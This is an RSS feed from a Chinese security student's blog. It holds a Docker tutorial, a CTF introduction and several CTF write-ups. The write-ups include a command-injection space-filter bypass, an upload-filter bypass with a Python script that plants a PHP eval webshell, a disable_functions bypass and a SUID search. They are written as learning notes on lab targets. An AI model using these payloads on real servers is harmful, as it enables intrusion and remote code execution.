<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>wangyi187学习笔记</title><description>网安学习笔记 &amp; 技术博客</description><link>https://wangyi187.top/</link><language>zh_CN</language><item><title>博客重建完成</title><link>https://wangyi187.top/posts/hello-world/</link><guid isPermaLink="true">https://wangyi187.top/posts/hello-world/</guid><description>基于 Fuwari（Astro）重建的个人博客正式上线。</description><pubDate>Tue, 27 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;博客已于 2026 年 10 月 27 日基于 &lt;a href=&quot;https://github.com/saicaca/fuwari&quot;&gt;Fuwari&lt;/a&gt;（Astro 静态站点）重建上线。&lt;/p&gt;
&lt;p&gt;后续会在这里持续更新网络安全学习笔记与技术随笔，也可以通过 RSS 订阅更新。&lt;/p&gt;
</content:encoded></item><item><title>Docker 使用教学（含换源）</title><link>https://wangyi187.top/posts/docker-tutorial/</link><guid isPermaLink="true">https://wangyi187.top/posts/docker-tutorial/</guid><description>Docker使用教学 部分参数含义 Docker常用指令 注： CONTAINER ID 可用docker ps all查询 TAG 可用docker images查询 1、拉取容</description><pubDate>Wed, 11 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Docker使用教学&lt;/h1&gt;
&lt;hr /&gt;
&lt;h3&gt;部分参数含义&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-t: 在新容器内指定一个伪终端或终端。
-i: 允许你对容器内的标准输入 (STDIN) 进行交互。
-d 指定容器的运行模式（加了 -d 参数默认不会进入容器）
-p：将容器的端口映射到主机上的一个端口。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Docker常用指令&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;注：[CONTAINER ID]可用docker ps -all查询
[TAG]可用docker images查询&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;1、拉取容器&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;dokcer pull xxx        【最新版本】
docker pull xxx:xxx   【拉取特定版本】

样例：
docker pull ubuntu
docker pull ubuntu:22.04
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、查看容器&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;docker images
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、运行容器&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;docker run -d -p [物理机服务端口]:[Docker容器端口] [镜像名]:[TAG]

样例：docker run -d -p 50001:80 acgpiano/sqli-labs:latestd
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、查看正在运行或者停止的容器&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;docker ps -all
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5、进入容器&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;docker exec -it [CONTAINER ID] /bin/bash

样例：docker exec -it ed7ac128525a /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6、保存当前容器状态为镜像【通过适用于更改容器配置，方便之后拉取镜像】&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;docker commit [CONTAINER ID] [镜像名]:[TAG]

样例：docker commit bb07a13dedf5 c0ny1/upload-labs:cyrus
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7、导出镜像&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;docker save -o [镜像名]-[TAG].tar [镜像名]:[TAG]

样例：docker save -o upload-labs-cyrus.tar c0ny1/upload-labs:cyrus
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;8、在其他Docker环境导入镜像&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;docker load -i [镜像名]-[TAG].tar

样例：docker load -i upload-labs-cyrus.tar
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;9、退出已经进入的容器&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;快捷键Ctrl+D 或者 在命令行输入exit
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;10、停止并删除正在运行的容器【推荐】&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;docker stop [CONTAINER ID] &amp;amp;&amp;amp; docker rm [CONTAINER ID]

样例：docker stop bb07a13dedf5 &amp;amp;&amp;amp; docker rm bb07a13dedf5
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;11、启动容器&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;如果没有删除正在运行的容器可以通过docker ps -all查看容器[CONTAINER ID]然后

docker start [CONTAINER ID]

启动已经停止的容器

样例：docker start 15f1c4e8271a
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;12、有Dockerfile文件的情况构建镜像&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;docker build -t [镜像名]

样例：docker build -t c0ny1/upload-labs
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;13、目录下没有Dockerfile文件的情况下,Ctrl退出运行&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;docker-compose up
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Docker Desktop换源【国内可用源如下，复制粘贴即可】&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;builder&quot;: {
    &quot;gc&quot;: {
      &quot;defaultKeepStorage&quot;: &quot;20GB&quot;,
      &quot;enabled&quot;: true
    }
  },
  &quot;experimental&quot;: false,
  &quot;registry-mirrors&quot;: [
    &quot;https://docker.mirrors.ustc.edu.cn&quot;,
    &quot;https://docker.1panel.live&quot;,
    &quot;https://docker.nju.edu.cn&quot;,
    &quot;https://docker.m.daocloud.io&quot;,
    &quot;https://dockerproxy.com&quot;,
    &quot;https://hub-mirror.c.163.com&quot;,
    &quot;https://docker.mirrors.ustc.edu.cn&quot;,
    &quot;https://registry.docker-cn.com&quot;,
    &quot;https://registry.cn-hangzhou.aliyuncs.com&quot;
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;案例：upload-labs打包导出更换Docker镜像&lt;/h3&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202504262026238.png&quot; alt=&quot;image-20250426202638159&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250503195019814.png&quot; alt=&quot;image-20250426202522830&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202504262028545.png&quot; alt=&quot;image-20250426202828424&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250503195019945.png&quot; alt=&quot;image-20250426203012767&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250503195019621.png&quot; alt=&quot;image-20250426203245884&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202504262031780.png&quot; alt=&quot;image-20250426203134619&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>CTF 比赛入门笔记</title><link>https://wangyi187.top/posts/web-03-ctf-competitions/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-03-ctf-competitions/</guid><description>0x03 CTF比赛 一、CTF简介 二、CTF竞赛模式 1、解题模式（Jeopardy） 2、攻防模式（Attack Defense） 3、混合模式（Mix） 三、CTF各大题型</description><pubDate>Tue, 23 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x03 CTF比赛&lt;/h1&gt;
&lt;hr /&gt;
&lt;h3&gt;一、CTF简介&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	CTF（Capture The Flag）中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会，以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今，已经成为全球范围网络安全圈流行的竞赛形式，2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地，DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛，类似于CTF赛场中的“世界杯” 。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二、CTF竞赛模式&lt;/h3&gt;
&lt;h4&gt;1、解题模式（Jeopardy）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	在解题模式CTF赛制中，参赛队伍可以通过互联网或者现场网络参与，这种模式的CTF竞赛与ACM编程竞赛、信息学奥赛比较类似，以解决网络安全技术挑战题目的分值和时间来排名，通常用于在线选拔赛。题目主要包含逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等类别。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、攻防模式（Attack-Defense）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	在攻防模式CTF赛制中，参赛队伍在网络空间互相进行攻击和防守，挖掘网络服务漏洞并攻击对手服务来得分，修补自身服务漏洞进行防御来避免丢分。攻防模式CTF赛制可以实时通过得分反映出比赛情况，最终也以得分直接分出胜负，是一种竞争激烈，具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中，不仅仅是比参赛队员的智力和技术，也比体力（因为比赛一般都会持续48小时及以上），同时也比团队之间的分工配合与合作。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、混合模式（Mix）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	结合了解题模式与攻防模式的CTF赛制，比如参赛队伍通过解题可以获取一些初始分数，然后通过攻防对抗进行得分增减的零和游戏，最终以得分高低分出胜负。采用混合模式CTF赛制的典型代表如ICTF国际CTF竞赛。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三、CTF各大题型简介&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-03-ctf-competitions/f06fcf8e26-v2-9365a06c6bbb5c14e79b51a660bdd558_1440w-16988085364812.webp&quot; alt=&quot;v2-9365a06c6bbb5c14e79b51a660bdd558_1440w-16988085364812&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;1、WEB（web类）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	WEB应用在今天越来越广泛，也是CTF夺旗竞赛中的主要题型，题目涉及到常见的Web漏洞，诸如注入、XSS、文件包含、代码审计、上传等漏洞。这些题目都不是简单的注入、上传题目，至少会有一层的安全过滤，需要选手想办法绕过。且Web题目是国内比较多也是大家比较喜欢的题目。因为大多数人开始安全都是从web日站开始的。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、CRYPTO（密码学）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	全称Cryptography。题目考察各种加解密技术，包括古典加密技术、现代加密技术甚至出题者自创加密技术。实验吧“角斗场”中，这样的题目汇集的最多。这部分主要考查参赛选手密码学相关知识点。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、MISC（安全杂项）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;    全称Miscellaneous。题目涉及流量分析、电子取证、人肉搜索、数据分析、大数据统计等等，覆盖面比较广。我们平时看到的社工类题目；给你一个流量包让你分析的题目；取证分析题目，都属于这类题目。主要考查参赛选手的各种基础综合知识，考察范围比较广。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、REVERSE（逆向）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	全称reverse。题目涉及到软件逆向、破解技术等，要求有较强的反汇编、反编译扎实功底。需要掌握汇编，堆栈、寄存器方面的知识。有好的逻辑思维能力。主要考查参赛选手的逆向分析能力。此类题目也是线下比赛的考察重点。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5、STEGA（隐写）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	全称Steganography。隐写术是我开始接触CTF觉得比较神奇的一类，知道这个东西的时候感觉好神奇啊，黑客们真是聪明。题目的Flag会隐藏到图片、音频、视频等各类数据载体中供参赛选手获取。载体就是图片、音频、视频等，可能是修改了这些载体来隐藏flag，也可能将flag隐藏在这些载体的二进制空白位置。有时候需要你侦探精神足够的强，才能发现。此类题目主要考查参赛选手的对各种隐写工具、隐写算法的熟悉程度。实验吧“角斗场”的隐写题目在我看来是比较全的，以上说到的都有涵盖。新手盆友们可以去了解下。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6、PPC（编程类）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	全称Professionally Program Coder。题目涉及到程序编写、编程算法实现。算法的逆向编写，批量处理等，有时候用编程去处理问题，会方便的多。当然PPC相比ACM来说，还是较为容易的。至于编程语言嘛，推荐使用Python来尝试。这部分主要考察选手的快速编程能力。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7、PWN（溢出）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	PWN在黑客俚语中代表着攻破，取得权限，在CTF比赛中它代表着溢出类的题目，其中常见类型溢出漏洞有栈溢出、堆溢出。在CTF比赛中，线上比赛会有，但是比例不会太重，进入线下比赛，逆向和溢出则是战队实力的关键。主要考察参数选手漏洞挖掘和利用能力。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;四、刷题网站&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;BUUCTF
?https://buuoj.cn/

攻防世界
?https://adworld.xctf.org.cn

i春秋
?https://www.ichunqiu.com/battalion

jarvisoj
?https://www.jarvisoj.com/challenges

ctf秀
?https://ctf.show/challenges
?https://wp.ctf.show/

ctfhub
?https://www.ctfhub.com/#/index

bugku
?https://ctf.bugku.com/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;五、CTF刷题网站题目学习笔记&lt;/h3&gt;
&lt;h4&gt;1、[SWPUCTF 2021 新生赛]babyrce(空格绕过 RCE)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;此时开启靶场后的网址端口为：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://node5.anna.nssctf.cn:28950
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;题目标签&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;空格绕过 RCE SQL注入 Cookie注入 Linux命令 目录穿越 源码泄漏 HTTP协议 正则绕过 WAF绕过 代码审计 PHP
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;开启靶场后可以看到题目为

&amp;lt;?php
error_reporting(0);
header(&quot;Content-Type:text/html;charset=utf-8&quot;);
highlight_file(__FILE__);
if($_COOKIE[&apos;admin&apos;]==1) 
{
    include &quot;../next.php&quot;;
}
else
    echo &quot;小饼干最好吃啦！&quot;;
?&amp;gt; 小饼干最好吃啦！

可以看到代码中写到当cookie值等于admin=1时 include语句会引用&apos; ../next.php &apos;该指定位置的文件，把该位置的文件页面回显给用户

打开火狐浏览器F12的hackbar，Load URL-&amp;gt;把Cookies打勾，就会在最下方出现注入框-&amp;gt;填写admin=1即可
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-03-ctf-competitions/3d9d84f39f-1698485757339.png&quot; alt=&quot;1698485757339&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-03-ctf-competitions/8ac0701b91-1698485977603.png&quot; alt=&quot;1698485977603&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; &amp;lt;?php
error_reporting(0);
header(&quot;Content-Type:text/html;charset=utf-8&quot;);
highlight_file(__FILE__);
if($_COOKIE[&apos;admin&apos;]==1) 
{
    include &quot;../next.php&quot;;
}
else
    echo &quot;小饼干最好吃啦！&quot;;
?&amp;gt; rasalghul.php

此时得到页面返回了 rasalghul.php 这个信息，就是让我们去访问看看

http://node5.anna.nssctf.cn:28950/rasalghul.php
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;跳转到新的页面，这个源码也很直观

 &amp;lt;?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET[&apos;url&apos;])) {
  $ip=$_GET[&apos;url&apos;];
  if(preg_match(&quot;/ /&quot;, $ip)){
      die(&apos;nonono&apos;);
  }
  $a = shell_exec($ip);
  echo $a;
}
?&amp;gt; 

isset — 检测变量是否已设置并且非 NULL，监测url是否为空

GET请求参数

？表示传入参数

$是定义变量

preg_match就是匹配的意思，

preg_match(&quot;/ /&quot;, $ip))

这句话的意思就是匹配空格(因为两个反斜杠中间有个空格)

【$string = &quot;football&quot;;
if (preg_match(&apos;/foo/&apos;, $string)) {
// 匹配正确
}

它的格式差不多就是 preg_match(&quot;/要匹配的字符/&quot;),$输入的参数(变量)】

这句话的意思差不多就是在输入的参数中去查找看是否有匹配该字符的地方

shell_exec()函数通过 shell 环境执行命令，并且将完整的输出以字符串的方式返回。也就是说当匹配到空格时就无法执行命令
所以这里我们就需要绕过空格

回顾-绕过空格的方式：
%09（tab键）、%20（空格）、$IFS$9、&amp;lt;&amp;gt;（是大于号小于号，不是菱形）、${IFS}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;http://node5.anna.nssctf.cn:28950/rasalghul.php?url=ls

查看当前目录发现没有flag文件

 &amp;lt;?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET[&apos;url&apos;])) {
  $ip=$_GET[&apos;url&apos;];
  if(preg_match(&quot;/ /&quot;, $ip)){
      die(&apos;nonono&apos;);
  }
  $a = shell_exec($ip);
  echo $a;
}
?&amp;gt; index.php rasalghul.php 

因为空格被绕过了，所以这里我们使用$IFS$9

一级一级往上查

http://node5.anna.nssctf.cn:28950/rasalghul.php?url=ls$IFS$9../../../

最后发现是在根目录上，所以我们直接这么写，最后位置的一个&apos; / &apos;就代表了根目录，这里也涉及到了一部分的Linux命令

http://node5.anna.nssctf.cn:28950/rasalghul.php?url=ls$IFS$9/

 &amp;lt;?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET[&apos;url&apos;])) {
  $ip=$_GET[&apos;url&apos;];
  if(preg_match(&quot;/ /&quot;, $ip)){
      die(&apos;nonono&apos;);
  }
  $a = shell_exec($ip);
  echo $a;
}
?&amp;gt; bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var 

猜测藏有flag信息的文件在flllllaaaaaaggggggg，查看试试

http://node5.anna.nssctf.cn:28950/rasalghul.php?url=cat$IFS$9/flllllaaaaaaggggggg

（flllllaaaaaaggggggg前面的反斜杠&apos; / &apos;不要忘，因为它是处在根目录下的）

 &amp;lt;?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET[&apos;url&apos;])) {
  $ip=$_GET[&apos;url&apos;];
  if(preg_match(&quot;/ /&quot;, $ip)){
      die(&apos;nonono&apos;);
  }
  $a = shell_exec($ip);
  echo $a;
}
?&amp;gt; NSSCTF{f6afdba0-3ffa-4a5e-9c06-3dad01127ade} 

成功拿到flag为 NSSCTF{f6afdba0-3ffa-4a5e-9c06-3dad01127ade} 
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>第十五届极客大挑战复现 WP</title><link>https://wangyi187.top/posts/geek-challenge-15-wp/</link><guid isPermaLink="true">https://wangyi187.top/posts/geek-challenge-15-wp/</guid><description>三叶草安全技术小组第十五届极客大挑战 复现 WP 一、MISC 1、ez_jpg 经过分析字符串易知这是base64加密，先用cc进行Base64转换 base64转换后发现十六进</description><pubDate>Thu, 05 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;三叶草安全技术小组第十五届极客大挑战(复现)WP&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;一、MISC&lt;/h2&gt;
&lt;h3&gt;1、ez_jpg&lt;/h3&gt;
&lt;p&gt;经过分析字符串易知这是base64加密，先用cc进行Base64转换&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250605113938210.png&quot; alt=&quot;image-20250605113937978&quot; /&gt;&lt;/p&gt;
&lt;p&gt;base64转换后发现十六进制解码后没有看到相应的magic bytes（预期的JPEG格式），猜测可能还进行了一层混淆，将输出翻到最底下看到了FF8DFF,而JPEG格式文件头是FFD8FF，猜测这一层混淆可能是字符反转，于是用cc用Reverse再进行一次解码，发现文件头格式正确为FFD8FF&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250605112652067.png&quot; alt=&quot;image-20250605112651768&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再点击魔棒进行十六进制编码转换和image输出即可得到残缺的图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250605112717144.png&quot; alt=&quot;image-20250605112716762&quot; /&gt;&lt;/p&gt;
&lt;p&gt;右击图片另存为jpg文件，由于图片错位猜测宽高被篡改，拖入010editor分析宽高用工具爆破正确宽高（当然这里也可以合理猜测宽高是一样的，高是640，所以直接用010把宽改成640就行）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250605113020882.png&quot; alt=&quot;image-20250605113020705&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250605113154692.png&quot; alt=&quot;image-20250605113154289&quot; /&gt;&lt;/p&gt;
&lt;p&gt;SYC{Steg_4nd_Zip_1s_G00d!}&lt;/p&gt;
</content:encoded></item><item><title>NSSCTF 刷题笔记</title><link>https://wangyi187.top/posts/nssctf-writeups/</link><guid isPermaLink="true">https://wangyi187.top/posts/nssctf-writeups/</guid><description>Nssctf刷题笔记 一、 GHCTF 2024 新生赛 PermissionDenied 题目源代码 exp上马 访问123.php成功 蚁剑连接 蚁剑连接进去以后 我们看到fl</description><pubDate>Tue, 13 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Nssctf刷题笔记&lt;/h1&gt;
&lt;hr /&gt;
&lt;h3&gt;一、[GHCTF 2024 新生赛]PermissionDenied&lt;/h3&gt;
&lt;p&gt;题目源代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
 
function blacklist($file){
    $deny_ext = array(&quot;php&quot;,&quot;php5&quot;,&quot;php4&quot;,&quot;php3&quot;,&quot;php2&quot;,&quot;php1&quot;,&quot;html&quot;,&quot;htm&quot;,&quot;phtml&quot;,&quot;pht&quot;,&quot;pHp&quot;,&quot;pHp5&quot;,&quot;pHp4&quot;,&quot;pHp3&quot;,&quot;pHp2&quot;,&quot;pHp1&quot;,&quot;Html&quot;,&quot;Htm&quot;,&quot;pHtml&quot;,&quot;jsp&quot;,&quot;jspa&quot;,&quot;jspx&quot;,&quot;jsw&quot;,&quot;jsv&quot;,&quot;jspf&quot;,&quot;jtml&quot;,&quot;jSp&quot;,&quot;jSpx&quot;,&quot;jSpa&quot;,&quot;jSw&quot;,&quot;jSv&quot;,&quot;jSpf&quot;,&quot;jHtml&quot;,&quot;asp&quot;,&quot;aspx&quot;,&quot;asa&quot;,&quot;asax&quot;,&quot;ascx&quot;,&quot;ashx&quot;,&quot;asmx&quot;,&quot;cer&quot;,&quot;aSp&quot;,&quot;aSpx&quot;,&quot;aSa&quot;,&quot;aSax&quot;,&quot;aScx&quot;,&quot;aShx&quot;,&quot;aSmx&quot;,&quot;cEr&quot;,&quot;sWf&quot;,&quot;swf&quot;,&quot;ini&quot;);
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    foreach ($deny_ext as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES[&apos;file&apos;])){
    $filename = urldecode($_FILES[&apos;file&apos;][&apos;name&apos;]);
    $filecontent = file_get_contents($_FILES[&apos;file&apos;][&apos;tmp_name&apos;]);
    if(blacklist($filename)){
        file_put_contents($filename, $filecontent);
        echo &quot;Success!!!&quot;;
    } else {
        echo &quot;Hacker!!!&quot;;
    }
} else{
    highlight_file(__FILE__);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;file_put_content函数有一个文件解析的漏洞&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;当上传123.php/.的时候，file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件，最终上传创建的是123.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;新建1.php，内容如下，和exp放同一个目录下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php eval($_POST[0]);phpinfo();?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250513110711551.png&quot; alt=&quot;image-20250513110711446&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;exp上马&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

url = &quot;http://node6.anna.nssctf.cn:23009/&quot;  # 目标URL
file = {
    &quot;file&quot;: (&quot;123.php%2f.&quot;, open(&apos;1.php&apos;, &apos;rb&apos;))  # 文件名和打开的文件
}
try:
    res = requests.post(url=url, files=file)  # 发送POST请求
    print(res.text)  # 打印服务器响应
except Exception as e:
    print(&quot;发生错误:&quot;, e)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250513103552636.png&quot; alt=&quot;image-20250513103545510&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;访问123.php成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://node6.anna.nssctf.cn:23009/123.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250513110438144.png&quot; alt=&quot;image-20250512213019777&quot; /&gt;&lt;/p&gt;
&lt;p&gt;蚁剑连接&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250513103933603.png&quot; alt=&quot;image-20250513103933481&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;蚁剑连接进去以后&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250513104758138.png&quot; alt=&quot;image-20250513104758046&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;我们看到flag大小45b，是有内容的，但是无法查看，权限是0740&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;权限 0740 表示文件所有者可以读、写和执行该文件，所属组用户只能读取该文件，而其他用户没有任何权限。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;想改一下权限 发现失败了&lt;/p&gt;
&lt;p&gt;终端试一下呢&lt;/p&gt;
&lt;p&gt;可以发现无法执行命令&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250513104024691.png&quot; alt=&quot;image-20250513104024631&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;查看phpinfo信息，发现命令执行函数被禁用了&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250513104129207.png&quot; alt=&quot;image-20250513104128876&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这里利用蚁剑的插件【绕过Disable Functions】来绕过&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250513104253260.png&quot; alt=&quot;image-20250513104253142&quot; style=&quot;zoom:33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250513104353703.png&quot; alt=&quot;image-20250513104353579&quot; style=&quot;zoom:33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;现在就可以执行命令了&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250513104447931.png&quot; alt=&quot;image-20250513104447861&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;本来想着suid提权，直接给flag路径访问即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null

/usr/local/s3cRetTt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/20250513105500931.png&quot; alt=&quot;image-20250513105500863&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;flag：&lt;/p&gt;
&lt;p&gt;NSSCTF{6daca001-e299-41b9-b407-1c6034ead189}&lt;/p&gt;
